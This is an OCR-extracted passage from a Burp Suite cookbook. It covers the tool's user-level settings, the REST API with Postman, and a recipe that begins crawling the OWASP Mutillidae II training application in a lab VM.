Status 100 response handling Project setting

©)

@ Use these settings to control how Burp handles HTTP responses with status 100.

Understand 100 Continue responses

Remove 100 Continue headers

Figure 3.61 - Status 100 response handling

o HTTP/1 allows you to reuse the same HT'TP/1 connection instead of creating a new one. For
most testers, the default setting is fine:

®| HTTP/1 Project setting

@ Use this setting to control whether Burp uses HTTP/1 keep-alive.

Use keep-alive for HTTP/1 if the server supports it

Figure 3.62 - HTTP/1

o HTTP/2 defaults Burp Suite to use HTTP/2 instead of HTTP/1 when supported by the target
web server, as negotiated during the initial TLS handshake. For most testers, the default setting

is fine:
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@ HTTP/2 Project setting
{§} Use this setting to control whether Burp uses the HTTP/2 protocol for outbound connections over TLS,

Default to HTTP/2 if the server supports it

Figure 3.63 — HTTP/2

Setting user configurations

User settings will be applied to all Burp Suite instances that run on your local machine. These settings
allow a tester to set and save configurations to be used across all Burp Suite projects. There are multiple
subsections available under the User options tab, which include Tools, Project, Sessions, Network,
User Interface, Suite, Extensions, and Configuration Library. As we iterate through each area, we
will provide some recommendations that you may find helpful during your testing:

Settings

Search el

All s Project T =

v Tools
Proxy
Intruder
Repeater
Burp's browser
v Project
Tasks
Automatic backup
v Network
Connections
s
v Userinterface
Inspector and message editor
Hotkeys
Display
v Suite
RESTAPI
Updates
Performance feedback
Temporary files location

Extensions

M@ Configuration library

Figure 3.64 — User configurations
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How to do it...

To access all user-level configurations, click the Settings gear icon in the top right-hand corner of
Burp Suite:

- O X
{§} Settings

@ .

ntative 2
Figure 3.65 — User-level settings available via Settings

A new pop-out window will appear. Make sure you have User selected within the left-hand menu, at
the top of the pop-out window:

Settings

Search 0

-

All User Project : =

—_— -

Figure 3.66 — Inside the pop-out window, make sure User is highlighted

The User | Tools tab

Notice the areas affected by the User | Tools subsection. We will focus on each area - that is, Proxy,
Intruder, Repeater, and Burp’s browser:
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Settings

| o

Al Project T =

~ Tools

Proxy
Intruder

Repeater

Burp's browser

Figure 3.67 — The User | Tools menu items

The User | Tools | Proxy tab
Under the Proxy tab, a tester has the following options:
o Proxy history logging:

This setting prompts you (or not) regarding whether you still wish to log out-of-scope items
to the HTTP History tab:

Tools > Proxy Manage global settings :

@l Proxy history logging User setting
@ Use this setting to choose whether Proxy automatically stops sending out-of-scope items to the history and other tools when you add an item to the Target scope.

Stop logging out-of-scope items
@ Ask me what to do each time

Do nothing

Figure 3.68 — Proxy history logging

o Default Proxy interception state:

By default, the Proxy interceptor will be toggled on (Enable interception). This can be seen in
the following screenshot. Our recommendation is to turn this feature oft (Disable interception).
This is probably one of the first changes you will want to make to all of your Burp Suite instances
for User setting:
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@ Default Proxy interception state User setting

@ Use this setting to choose whether Burp Proxy interception is enabled when you start Burp.

Enable interception
@® Disable interception

Restore the settings that was selected in the Proxy > Intercept tab when Burp closed

Figure 3.69 — Default Proxy interception state

The User | Tools | Intruder tab
Under the Intruder tab, a tester has the following options:

o Automatic payload placement:

When using Intruder, use this setting to determine whether payloads will replace identified
positions or append values at the identified positions. For most testers, the default setting is fine:

Tools > Intruder Manage global settings :

@ |Au‘tomatic payload placement User setting

O Use these settings to control whether any automatically-placed payload positions will replace or append to the existing parameter values.

@® Replace base parameter value

Append to base parameter value

Figure 3.70 — Automatic payload placement

o New tab configuration:

When using Intruder, use this setting to determine the behavior of data when new tabs are
opened during an attack. For most testers, the default setting is fine:

@ New tab configuration User setting

O Use these settings to control which tab configuration Intruder uses when new tabs are opened.
(® Use default attack configuration
Copy configuration from first tab
Copy configuration from last tab

Figure 3.71 — New tab configuration

» Behavior when closing result windows:
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®
O

Q

O

If you wish to remove prompts before closing modal windows, use this setting to turn them
off. For most testers, the default setting is fine:

Behavior when closing result windows

User setting

Use these settings to control Intruder's behavior when closing result windows.

When closing attacks that are in progress:

Continue my attack in the background
Delete my attack

® Ask me what to do each time

When closing finished attacks:

Save my attack to the project file
Keep in memory
Delete my attack

@® Ask me what to do each time

Figure 3.72 — Behavior when closing result windows

o Payload list location:

When using Intruder, use this setting if you wish to change the source for wordlists that are
available in Burp Suite Professional. For most testers, the default setting is fine:

.Payload list location

Use these setti ngs to configﬁre the source directory for predefined payload lists.

(® Use built-in lists

_ Load custom lists from directory:

Select directory ...
Fuzzing - quick
Fuzzing - full
Usernames
Passwords
Short words
a-z
A-Z
0-9

Copy ...

Figure 3.73 - Payload list location
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User | Tools | Repeater tab | Tab view

The default setting for how tabs are viewable in Repeater is Wrapped view. You can see what wrapped
looks like in the following screenshot. For most testers, the default setting is fine:

Tools > Repeater Manage global settings :

@ Tab view User setting

@ Use this setting to control the default tab view in Repeater.

Scrolling view ===

® Wrapped view 32°
Figure 3.74 - Tab view using Wrapped view
Here is the screenshot of what the wrapped tab view looks like:

1 x 2 X 3 X 4 x

Figure 3. 75 - The wrapped tab view

If you wish to change how Repeater tabs are viewed, select Scrolling view. You can see what scrolling

looks like here:
@ Tab view
@ Use this setting to control the default tab view in Repeater.
@ Scrollingview  *= | eom—— r
- : ‘ 1 % 2 % 3 x 4 % >
Wrapped view 33 —
Lo -

Figure 3.76 — Scrolling view

User | Tools | Burp’s browser | Browser data

You can use this setting to customize where to store all the traffic that’s captured while using Burp’s
built-in browser. For most testers, the default setting is fine:
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Tools > Burp's browser Manage global settings :

O | srowser sae

{é} Use this setting to control the storage of settings and history for Burp's browser. If you deselect this setting, you stop storing browser data, but any past data is retained.
Store browser data

Browser data folder

Clear all browser data from the browser data folder

Clear all
Figure 3.77 — Browser data

The User | Project tab

Notice the areas affected by the User | Project subsection. We will focus on each area - that is, Tasks
and Automatic backup:

Settings

Search jol

All

v Tools
Proxy
Intruder
Repeater

Burp's browser

v Project
Tasks

Automatic backup

Figure 3.78 — The User | Project menu items
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User | Project | Task tab | Automated tasks on startup

The default behavior for starting all Burp Suite instances is to pause any previously running tasks. For
most testers, the default setting is fine:

Project > Tasks Manage global settings :

(?) | Automated tasks on startup User setting
'@} Use this setting to control whether the "Pause automated tasks” checkbox is selected by default in the startup wizard.

Select Pause automated tasks by default

Figure 3.79 — Automated tasks on startup

User | Project | Automatic backup

By default, Burp Suite will auto-save (that is, back up) your work in real time. However, this setting
gives you more control over the frequency of saving your backup file for your project. By turning this
setting on, you can configure the number of minutes between backups. This feature is unavailable

for temporary projects:

Project > Automatic backup | Manage global settings :

@ Automatic backup User setting
{é} Automatic project backup saves a copy of the Burp project file periodically in the background. Use these settings to configure automatic project backups in Burp,

Automatically back up the project every = 30 minutes

nclude in-scope items only

Show progress dialog during backups

Delete backup file on clean shutdown of Burp

Figure 3.80 — Automatic backup

The User | Network tab

Notice the areas affected by the User | Network subsection. We will focus on each area - that is,
Connections and TLS:
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Settings

Search 0

All E Project T =

v Tools

Proxy

Intruder

Repeater

Burp's browser
v Project

Tasks

Automatic backup

v Network
Connections

LS

Figure 3.81 - The User | Network menu items

The User | Network | Connections tab

The Connections tab allows a tester to control specific interactions, such as authentication and
Proxy servers:

o Platform authentication:

Platform authentication allows you to automate how Burp Suite can authenticate against target
platforms. The default setting of this feature is at the User setting level:
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Network > Connections Manage global settings :

o e

You can configure Burp to automatically carry out platform authentication to destination web servers. Use these settings to manage your platform authentication credentials.

® |Platform authentication

(B Override options for this project only

Do platform authentication

Add Enabled Destination host Type Usemame  Domain Domain hostname
Edit

Remove

Prompt for credentials on platform authentication failure

Figure 3.82 — Platform authentication

o Upstream proxy servers:

The Upstream proxy servers setting allows you to identify any upstream proxy servers that
have reached the target application. The default setting of this feature is at the User setting level:

@ | Upstream proxy servers Project setting

{§} Use these settingsto control whether Burp sends outgoing requests to an upstream proxy server, or directly to the destination web server. The first rule that matches each
destination host is used. To send all traffic to a single proxy server, create a rule with * as the destination host.

(I Override options for this project only
Add Enabled Destination host Proxy host Proxy port Authtype Usemame
Edit
Remove
Up

Down

Figure 3.83 — Upstream proxy servers

o SOCKS proxy:

SOCKS proxy allows Burp Suite to reach a target via a SOCKS proxy configuration. The default
setting of this feature is at the User setting level:
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® SOCKS proxy Use

@ Use these settings to configure Burp to use a SOCKS proxy for all outgoing communications. This setting is applied at the TCP level, and all outbound r.equﬁts will be
sent via this proxy. If you have configured rules for upstream HTTP proxy servers, then requests to upstream proxies will be sent via the SOCKS proxy configured here.

setting | Project setting

(D Override options for this project only

Use SOCKS proxy

SOCKS proxy host: | 127.0.0.1
SOCKS proxy port: | 9999
Username:

Password:

| Do DNS lookups over SOCKS proxy
Figure 3.84 — SOCKS proxy

The User | Network | TLS tab
Under the TLS tab, a tester has the following options:

o Client TLS certificates:

If you wish to use client-side certificates against your target application, you must configure those
certificates within this section. Keep in mind that you must have access to the private key when
adding your client-side certificate. The default setting of this feature is at the User setting level:

Network > TLS Manage global settings |

@ Use these settings to configure the client TLS certificates that Burp will use when a destination host requests one. You can configure multiple certificates, and specify the
hosts for which each certificate should be used. When a host requests a client TLS certificate, Burp uses the first certificate in the list whose host configuration matches the
name of the host being contacted.

(I Override options for this project only

Add Enabled Host Type Alias Subject Issuer Key
Remove
Up

Down

Figure 3.85 - Client TLS certificates
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« Java TLS settings:

For target applications using Java, this setting allows the TLS handshake negotiation to use
algorithms that may normally be blocked by the Java security policy due to obsoleteness. For
most testers, the default setting is fine:

@ Java TLS settings User setting

@ Uses these settings to control the TLS protocols and ciphers that Burp uses when preforming TLS negotiation with upstream servers.

Enable algorithms blocked by Java security policy (requires restart)

Disable Java SNI extension (requires restart)

Figure 3.86 — Java TLS settings

The User | User interface tab

Notice the areas affected by the User | User interface subsection. We will focus on each area - that
is, Inspector and message editor, Hotkeys, and Display:

Settings

Search 2

All -I Project T =

~ Tools

o

Proxy

Intruder

Repeater

Burp's browser
v Project

Tasks

Automatic backup
~ Network

Connections

s

~ User interface

Inspector and message editor
Hotkeys

Display

Figure 3.87 — The User | User interface menu items
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The User | User Interface | Inspector and messaged editor tab
Under the Inspector and messaged editor tab, a tester has the following options:

o Inspector widgets:

This setting allows you to make adjustments to the way the widgets within Inspector are
displayed. Widgets include multiple text areas showing sections of the request and response.
For most testers, the default setting is fine:

User interface > Inspector and message editor Manage global settings :

@ Inspector widgets User setting

@ Use these settings to adjust how widgets are displayed in the inspector.

Widget Show Open by default Wrap text Up
] Selection Down
Request attributes
Request query parameters
Request body parameters
Request cookies
Request headers
Response headers

Figure 3.88 — Inspector widgets

o Default Inspector panel layout:

Here, you can change the side where the Inspector sits. By default, the Inspector displays on
the right-hand side, next to the HTTP response. However, this setting allows you to change it
to the left-hand side if you like. For most testers, the default setting is fine:

@ |Defau|| Inspector panel layout

@ Use these settings to choose whether the inspector panel is docked to the left or right of the message editor and whether it is expanded.

Position Display mode

Left (@ Right (®) Auto-expanded when there is enough space Always collapsed

Figure 3.89 — Default Inspector panel layout

o Message editor request views:

You can add additional tabs to the message editor atop each request. By default, Pretty, Raw,
and Hex are always available. This setting allows you to add more. For most testers, the default
setting is fine:
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@ Message editor request views

{:6:} Use these settings to adjust which views are available from the toolbar above each request and in which order they appear.

Type B Show Wrap text Up
Pretty Down

Raw

Hex
Headers

Query params

Body params

Cookies

Attributes

Figure 3.90 - Message editor request views

o Message editor response views:

Here, you can add additional tabs to the message editor atop each response. By default, Pretty,
Raw, Hex, and Render are always available. This setting allows you to add more. For most
testers, the default setting is fine:

@ Message editor response views

User setting

@ Use these settings to adjust which views are available from the toolbar above each response and in which order they appear.

Type 8 Show Wrap text Up

Pretty Down

Raw

Hex

Render

Headers

Figure 3.91 — Message editor response views

o HTTP message display:

This setting controls the font and font size used within the message editor. By default, Burp
Suite will highlight searched values in either the request or response, which is a nice feature.
For most testers, the default setting is fine:

d HTTP message display User setting
@ Use these settings to control how HTTP messages are displayed.

Font: Courier New l2pt Change font ...

Highlight request syntax
Highlight response syntax
Pretty print by default

Figure 3.92 - HTTP message display
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o Character sets:

This setting controls the character scheme thats used in raw HTTP messages. By default, Burp
Suite is set to automatically recognize which character set to use based on the headers within
the message. For most testers, the default setting is fine:

o

{é} Use these settings to control how Burp handles different character sets when displaying raw HTTP messages. Note that the glyphs required for some character sets are
not supported by all fonts. If you need to use an extended or unusual character set, you should first try a system font such as Courier New or Dialog.

® Recognize automatically based on message headers
Use the platform default (UTF-8)
Display as raw bytes

Use a specific character set: | Big5 e

Figure 3.93 — Character sets

o HTML rendering:

When an HTTP response contains HTML content, the Render tab is enabled and, when
clicked, will display the response as it would appear in your browser. By default, this setting
allows an additional request to be made to render the page properly. For most testers, the
default setting is fine:

(3)| HTML rendering User setting

@ Use these settings to control how Burp handles in-tool rendering of HTML content.

Make additional HTTP requests if required to render the page
Figure 3.94 - HTML rendering

o HTTP message search:

At the bottom of each HTTP message is a search box. This setting allows you to permanently
add various options for finding search terms typed into the box. For most testers, the default
setting is fine:

@ HTTP message search User setting
{‘3} Use these settings to control the default configuration for the HTTP editor's search bar.

Case sensitive
Regex

Auto-scroll to match when text changes

Figure 3.95 - HTTP message search
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The User | User Interface | Hotkeys tab

Hotkeys are keystroke combinations that provide alternatives to right-clicks for actions. For example,
instead of right-clicking a request and selecting Send to Repeater, you may use the Ctrl + R hotkey
to do the same thing. The table in this section allows you to configure more hotkeys for almost any
action to be taken in Burp Suite:

Userinterface > Hotkeys Manage global settings :

@ Hotkeys

@ Use these settings to configure hotkeys for common actions.

Select an action to change its hotkey. All hotkeys must use the Command key (on Mac) or the Control key (on Windows), and may also use modifiers such as Shift.

Note that on some Windows installations the Control+Alt combination is treated as equivalent to ARGr, and so may result in typed characters appearing when pressed in

text fields.
Search o)
Action Hotkey
Send to Repeater Ctrl+R
Send to Intruder Ctri+|
Send to Comparer

Send request to Comparer
Send response to Comparer
Send to Decoder

Figure 3.96 — Hotkeys

The User | User Interface | Display tab
Under the Display tab, a tester has the following options:

o Appearance:

This setting allows you to control the font size of the user interface, as well as change the theme
from light (default) to dark:

|Userinterface » Displayl Manage global settings :

()| Appearance

@ Use these settings to control the appearance of Burp's user interface.

Font size: 12 v

Theme: @® Light Dark

Figure 3.97 — Appearance
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o Learn tab display:

This setting allows you to stop the Learn tab from appearing on the top list of Burp Suite tools:

@ Learn tab display User setting
@ Show or hide the Learn tab

Show the Learn tab

Figure 3.98 — Learning tab display
Here is a screenshot of the Learn tab. You may also turn the tab off using the Hide this tab button:

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Extensions @ Setting

Learn, explore and discover

Getting started with Burp Burp Suite - a guided video

. E———
Suite tour (=== ;
Get going right away - with our quick start Take a run-through of all the major Burp ’ =

tutorial. Suite features.

» /4 S
[ Start here ] ] b Watch the tour

A
. )\—

Figure 3.99 - Learn

o Scaling:

Burp Suite can be configured to automatically adjust DPI scaling for high-resolution displays.
For most testers, the default setting is fine:

©)

Scaling ' User setting |

IO Use these settings to control Burp's appearance on high-resolution displays. Restart Burp for any changes to take effect.
| Configure scaling settings
Use system DPI settings

Scale factor: | 1.0

Figure 3.100 - Scaling
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The User | Suite tab

Notice the areas affected by the User | Suite subsection. We will focus on each area - that is, REST
API, Updates, Performance feedback, and Temporary files location:

Settings

Search 2

Al | RS Project

~ Tools
Proxy
Intruder
Repeater

Burp's browser

<

Project
Tasks

Automatic backup

<

Network
Connections

TLS

<

User interface
Inspector and message editor
Hotkeys
Display
ﬁ
REST API
Updates
Performance feedback

Temporary files location

Figure 3.101 — The User | Suite menu items
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The User | Suite | REST API tab

When testing APIs, this feature allows users to stand up a headless instance of Burp, and then configure
Burp Suite as a proxy in Postman to capture all traffic. The following screenshot shows that the default
listener for the REST API for Burp Suite is set to run on localhost (for example, 127.0.0.1) and
port 77777.

PortSwigger highly recommends using an API key to connect to the Burp Suite listening service as
connecting without is not secure. Generating an API key is quite easy:

Suite > RESTAPI Manage global settings *

ofe]

@ The REST API can be used by other tools to integrate with Burp Suite. The REST API exposes sensitive functionality and data, and you should read the full documentation
before enabling the service.

Use these settings to configure the REST APl in Burp.
Once configured, you can browse the APl documentation and interact with the API at: [Service URL)/[API key].

Service URL: htip://127.0.0.1:7777 Change... |
Service running
(] Allow access without AP| key (using this option is not secure)

APl Keys

| New || Enabled Name Created
[ Edit | Sunny'sNewAPIKey 10:19:27 12 Aug 2020
| Delete

Figure 3.102 - REST API

How it works...

Click the New button and copy the key to your clipboard. You will need to paste it into Postman for
use. Note that the API key is only available at the initial generation and not after:
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New AP| key b

@ API keys are secrets and should be handled carefully. You cannot retrieve
an existing AP| key from Burp after it has been created.

Name: Sunny'sNewAP|Key

Copy key to clipboard

0K Cancel

Figure 3.103 - Copy key to clipboard

The following screenshot shows how to invoke the REST API in Burp Suite from Postman. You can
see that the REST API is running on localhost, port 7777, and uses the API key generated in the
previous step at the end of the URL.

In the JSON body of the API call, you can add the target application and the default Burp Suite listener.
These settings will capture all API traffic from Postman into Burp:

hitpe//127.0.0.1:7777/EuhXS1 HgPXASE|LAFS:chZujBgwvNril 0. 1/5can

Params @ Authorization Headers (9) Body @

POST v

® none @ form-data @ xwweeformeurlencoded @ raw @ binary @ GraphQL  JSON

{

Farget/Application

~scan_callback™: §

k "url": "http://localhost:8ese/” Burp|Listener,

H
Figure 3.104 — Postman settings to use the Burp Suite REST API

B3 =3 @0 LA e b b

There’s more...

For a simpler alternative to capturing traffic from Postman into Burp, configure Postman’s settings (via
the gear icon at the top right), and select the Proxy tab. Select Add a custom proxy configuration and
fill in the Burp Suite listener’s IP address and port. By default, these values are 127.0.0.1 and 8080:
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SETTINGS X

General Themes Shortcuts Data Add-ons Certificates Update About

Specify a proxy setting to act as an intermediary for requests sent throug e Builder in Postman. These

configurations do not apply to any Postman services. Learn more about using a custom proxy A

D Use the system proxy

Respect HTTP_PROXY, HTTPS_PROXY, and NO_PROXY environment variables.

Add a custom proxy configuration

Proxy Type HTTP HTTPS
Proxy Server 127.0.01 E 8080

Proxy Auth® (@ ) OFF

Figure 3.105 - Alternative option for capturing Postman API traffic into Burp Suite

The User | Suite | Updates tab

By default, when updates to the Burp Suite product are available, this setting automatically downloads
and prompts you to restart the product for the changes to take effect. For most testers, the default
setting is fine:

Suite > Updates Manage global settings

(®) | updates User setting
{§} Use this setting to select the update channel that Burp should use.

Enable auto-updates (requires restart)

Channel: Stable v

Figure 3.106 — Updates

The User | Suite | Performance feedback tab

Performance and debugging information can be automatically sent to PortSwigger for further
troubleshooting if this setting is turned on:

103
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Suite > Performancefeedback Manage global settings :

® Performance feedback

@ You can help improve Burp by submitting feedback about Burp's performance. Your feedback contains technical information about Burp's internal functioning.

Automatically submit feedback about Burp's performance

You can also email our support team to submit feedback on Burp's performance. To help us diagnose any problems specific to your instance of Burp, please include your
debug ID. This identifies the session in which the problem occurred.

Email support to report a bug

You can log performance data to a local directory. Attach the resultant file to your email to help our support team diagnose the problem.

Log performance data to a local directory: _ Choose folder ..,

Figure 3.107 - Performance feedback

The User | Suite | Temporary files location tab

In situations where PortSwigger requires additional logs from your system to troubleshoot, you can
provide such logs from a custom location:

Suite > Temporary files location Manage global settings :

@ Temporary files location

@} Use this setting to configure where Burp should store temporary files. Changes will take effect when you restart Burp.

@ Use default system temp directory

Use custom location: Choose folder ...

Figure 3.108 — Temporary files location

The User | Extensions tab
Under the Extensions tab, a tester has the following options:

o Startup behavior:

As your experience in using Burp Suite grows, you will undoubtedly begin to add extensions
to the product to scan for specific vulnerabilities. Some extensions can be extremely intrusive
and noisy on the network. This setting allows you to control the behavior of extensions upon
the initial startup of Burp. This behavior includes reloading and updating those extensions:
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Extensions Manage global settings :

@ Startup behavior User setting

@ Use these settings to control how Burp handles extensions on startup.

Automatically reload extensions on startup

Automatically update installed BApps on startup

Figure 3.109 - Startup behavior

« Java environment:

When using any extension written in Java, Burp Suite requires you to specify the JDK location
on your local system:

S e

@ Use this setting to configure the environment that should be used to execute extensions that are written in Java.

Folder for loading library JAR files (optional):

Select folder ...

Figure 3.110 - Java environment

o Python environment:

When using any extension written in Python, Burp Suite requires you to specify the Jython
(Java-to-Python translator) location on your local system:

O Pytven environmen | e ting

@ Use these settings to configure the environment that should be used to execute extensions that are written in Python. To use Python extensions, you will need to
download Jython, which is a Python interpreter implemented in Java.

Location of Jython standalone JAR file:

Folder for loading modules (optional):

Figure 3.111 - Python environment

o Ruby environment:

When using any extension written in Ruby, Burp Suite requires you to specify the JRuby (Java-
to-Ruby translator) location on your local system:
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@ Ruby environment

Use this setting to configure the environment that should be used to execute extensions that are written in Ruby. To use Ruby extensions, you will need to download
JRuby, which is a Ruby interpreter implemented in Java.

Location of JRuby JAR file:

Figure 3.112 — Ruby environment

The Configuration library tab

When using the scanning capabilities of Burp Suite (Professional version), various types of scans
can be performed. Out of the box, Burp Suite provides built-in scan types, but you may add custom
ones as well. Configuration library is a centralized housing location for all of these scanning scripts:

Settings - o x
Search b Configuration library Manage global settings *
Al Project R
o = = (3 configuration library User setting
* Tool The cenfiguration library lets you manage different Burp configurations for particular tasks. There are various built-in configurations that are useful for common purposes, and
o0 you can create your own configurati quired. Use th ings to manage your configurations.
Proxy
L Y Filter | Built-in | Custom P | search
Repeater
Burps b Name Functions Built-in New
LI Droweser Audit Checks - extensions only Auditing v
v Project Audit checks - light active Auditing v
Task Audit checks - medium active Auditing v Duplicate
asks Audit checks - passive Auditing v e
Automatic backup Audit coverage - maximum Auditing v e
© ‘Nebwork Audit coverage - th?raugh Auditing v Import
Auditing configuration 1 Auditing e
Connections Crawl and Audit - Balanced Crawling & Auditing v =E
s Crawl and Audit - Deep Crawling & Auditing v
Craw and Audit - Fast Crawling & Auditing v
~ User interface Crawl and Audit - Lightweight Crawling & Auditing v
IE T S—- Crawl limit - 10 minutes Crawling v
Crawl limit - 30 minutes Crawling v
Hotkeys Crawl fimit - 60 minutes Crawling v
Display Crawl strategy - faster Crawling v
v suite Crawl strategy - fastest Crawling v
e Crawl strategy - more complete Crawling v
RESTAPI Crawl strategy - most complete Crawling v
live_sudit_custom Auditing
Updat =PI
pose Minimize false negatives Auditing v
Performance feedback Minimize false positives Auditing v
Temporary files location Never stop audit due to application errors Auditing v
! Never stop crawl due to application errors Crawling v
Extensions Scobbysnax_way_cool_configuration Auditing
Sunny_audit Auditing
T Conrgurstion vy Sunny_config Auditing
Sunny_crawl Crawling
Vodka_Cochise_auditing Auditing

Figure 3.113 - Configuration library

Crawling target sites

Crawling is a type of scan that’s used to map out a web application. This mapping exercise is necessary
to uncover links, folders, and files present within the target application. While running, Burp Suite
will add found assets to Target | Site map.



Crawling target sites 107

Crawling should occur before scanning since testers wish to identify all possible paths and functionality
before looking for vulnerabilities. There are built-in Burp Suite scripts specific to crawling available
in Configuration library, as shown in the following screenshot:

(ﬂ Configuration library |

The configuration library lets you manage different Burp configurations for particular tasks. There are various built-in configurations that are useful for co
and you can create your own configurations as required. Use these settings to manage your configurations.

Y Filter Custom R

vy

earch..

Name Functions Built-in
Add all links to site map Live passive crawling v
Add requested item to site map Live passive crawling v
Audit checks - all except JavaScript analysis Auditing v
Audit checks - all except time-based detection methods Auditing v
Audit checks - critical issues only Auditing v
Audit checks - extensions only Auditing v
Audit checks - light active Auditing v
Audit checks - medium active Auditing v
Audit checks - passive Auditing v
Audit coverage - maximum Auditing v
Audit coverage - thorough Auditing v
Crawl and Audrt - Balanced Crawling & Auditing 4
Crawl and Audit - Deep Crawling & Auditing v
Crawl and Audit - Fast Crawling & Auditing v
Crawl and Audit - Lightweight Crawling & Auditing v
Crawl limit - 10 minutes Crawling v
Crawl limit - 30 minutes Crawling v
Crawl limit - 60 minutes Crawling v
Crawl strategy - faster Crawling v
Crawl strategy - fastest Crawling v
Crawl strategy - more complete Crawling v
Crawl strategy - most complete Crawling v

Figure 3.114 - Crawling scripts available in Configuration library

Getting ready

Using the OWASP Mutillidae II application found within the OWASP BWA VM, we will configure
and use one of the built-in scripts to crawl through the application.

How to do it...

1. Ensure Burp Suite and the OWASP BWA VM are running and that you are either using Burp’s
browser or have FoxyProxy turned on in your Firefox browser.
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2. From the OWASP BWA landing page, click the link to the OWASP Mutillidae II application:

owaspbwa

OWASP Broken Web Applications Project

A

Version 1.2

This is the VM for the Open Web Application Security Project (OWASP) Broken Web Applications project. It contains many, very vulnerable web
applications, which are listed below. More information about this project can be found in the project User Guide and Home Page.

For details about the known vulnerabilities in these applications, see https://sourceforge.net/p/owaspbwa/tickets/?limit=999&sort=_severity+asc.

@ 11! This VM has many serious security issues, We strongly recommend that you run it only
on the "host only" or "NAT" network in the virtual machine settings !!!

TRAINING APPLICATIONS

© oWASP WebGoat © OWASP WebGoat NET
© 0OWASP ESAPI Java SwingSet Interactive © oWASP Mutillidae IT
© 0owASP RailsGoat © OWASP Bricks

© OWASP Security Shepherd © Ghost

© Magical Code Injection Rainbow ©Opwarp

eDamn Vulnerable Web Application

Figure 3.115 - Link to the Mutillidae Il application from the VM splash page

3. We need to set up our scope before running any scripts. Go to Target | Site map, highlight the
mutillidae folder, right-click it, and select Add to scope:

Dashboard Target Proxy Intruder Re
Site map Issue definitions @ Scope settings

Filter: Hiding not found items; hiding C5S, image and gene

v g http://192.168.29.128
[/
v [Tg mutillidae |
> @/  [a http/192.168.29.128/mutillidae
> |'_ docum
to scope
> @& fram

F

Figure 3.116 — How to add the Mutillidae root application to the target scope
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4. You will be presented with an option to stop sending out-of-scope items to Burp. For our
purposes, we will click the Yes button:

Proxy history logging X

@ You have added an item to Target scope. Do you want Burp Proxy to step
sending out-of-scope items to the history or other Burp tools?

Answering "yes" will avoid accumulating project data for out-of-scope
items.

Always take the same action in future Yes | No

Figure 3.117 — The Proxy history logging prompt

5.  Optionally, you can clean up the Site map area so that it only shows in-scope items by clicking
Filter: Hiding out of scope and not found items; hiding CSS, image and general binary
content; hiding 4xx responses; hiding empty folders:

Filter: Hiding out of 2cope and net found items; hiding CSS, image and general binary content, hiding 4xx rezsponses; hiding empty folders

Figure 3.118 - Filter on Target | Site map

6. After clicking Filter: ...., You will see a drop-down menu appear. From here, check the Show
only in-scope items box. Now;, click anywhere in Burp Suite outside of the drop-down menu

to have the filter disappear again:

Filter settings ~
@ Filter by request type Filter by MIME type Filter by status code Folders
@l Show only in-scope items | HTML Other text 2xx [success] Hide empty folders
"1 Show only requested items Script Images 3xx [redirection]
Show only parameterized requests XML Flash dxx [request error]
Hide not-found items CsS Other binary Sxx [server error]
Filter by search term Filter by file extension Filter by annotation
Show only: | asp,aspx,jsp,php Show only commented items
Regex
o 3 Hide: js.gif jpg.png,css Show only highlighted items
Case sensitive Negative search

Show all Hide all Revert changes Cancel m

Figure 3.119 - Filter curtain drop-down menu
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9.

New scan

9

Scan details

@

Scan
configuration

)
Application
login

C
Resource
pool

Now that our scope has been set, we can begin the process of crawling and auditing. Go to
Burp Suite’s Target tab and ensure you are resuming all traffic so that it flows into Burp. Look
for the following message and, if displayed, click the Resume button. If you do not click the
Resume button, Site map will not be populated with new assets found during crawling. If you
do not see this message at all, don’t worry about this feature:

)

be populated [ Resume

Figure 3.120 - Resume task execution to see traffic

Go to Burp Suite’s Target tab, right-click the mut 111 idae folder, and click Scan:

v [ http://192.168.29.128 Corn
L/
- [F
3 - Y ~» http://192.168.29.128/mutillidae
> r docy
D framipr—
. b

Figure 3.121 - Contextual menu to begin scan configurations from Target | Site map

Add to scope

A new pop-out menu will appear where you to configure the scan - or in this case, crawl. Select
the Crawl radio button. The URL to scan should already be populated for you:

Scan type

Crawl and audit

) Audit selected items
Add to task
Create new task

URLs to scan

Define the URLs to scan. Burp will begin crawling from these URLs, and by default will include everything beneath the specified
URLs' folders.

I http://192.168.29.128/mutillidae |
Y

Figure 3.122 - Selecting Crawl in the Scan type section
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10. Still within the pop-out menu, select Scan configuration from the left-hand side:

New scan

‘@) Scan configuration

Scan details Scan configurations and modes are

designed to let you trade off speed
@. applies any selected configurations

Scan

configuration

=] Name

Application
login

Figure 3.123 - Selecting Scan configuration

11. Click the Select from library button at the bottom; then, click the Built-in button inside the
modal to display all scanning scripts included with Burp Suite Professional:

@

Scan

applies any selected configurations in order, enabling you to fine-tune scanning

configuratio

<) Y Fi}ter- Customn
Applicatior|
login Name Functions
© Crawl and Audit - Balanced Crawling & Auditing
Crawl and Audit - Deep Crawling & Auditing
Resource | | Crawl and Audit - Fast Crawling & Auditing
g Crawl and Audit - Lightweight Crawling & Auditing
Crawl limit - 10 minutes Crawling
Crawl limit - 30 minutes Crawling
Crawl limit - 60 minutes Crawling
Crawl strategy - faster Crawling
Crawl strategy - fastest Crawling
Crawl strategy - more complete Crawling
Crawl strategy - most complete Crawling
Never stop crawl due to application errors Crawling
Select from library |

Figure 3.124 - How to select a built-in script from the library
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12. Select one of the crawling scripts from the list provided. For our purposes, we will choose
Crawl limit - 10 minutes:

rawl imit - 10 minutes Crawling v
Crawl limit - 30 minutes Crawling v
Crawl limit - 60 minutes Crawling v
Crawl strategy - faster Crawling v
Crawl strategy - fastest Crawling v
Crawl strategy - more complete Crawling v
Crawl strategy - most complete Crawling v
Never stop crawl due to application errors Crawling v

Figure 3.125 - Selecting Crawl limit - 10 minutes from the list of crawling scripts
Click OK at the bottom of the Scan configuration pop-out menu:
New scan - ] X
) Scan configuration
Scan details

Scan configurations and modes are groups of settings that define how a scan is performed. Scan modes offer preset options
designed to let you trade off speed and coverage. Alternatively, you can select one or more custom configurations. Burp Scanner
applies any selected configurations in order, enabling you to fine-tune scanning behaviour.

(_) Use a preset scan mode @® Use a custom configuration
Application
login Name Functions Built-in | New.. |
© |1[me| limit - 10 minutes Crawling v | Up
Resource Down
pool Edit
Delete
| Import |
Select from library
® oK | Cancel

Figure 3.126 - Clicking the OK button to close the dialog box
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13. Still within the pop-out menu, select Application login from the left-hand side. This feature
allows you to give credentials to the crawler when a login HTML form is encountered. Click
New and add a username of admin and a password of admin. Click OK when you're done:

New scan - O X

9 Please choose a login type

Scan details Choose whether to configure login credentials or recorded login sequences. You can configure multiple

logins to scan in different user contexts.

@

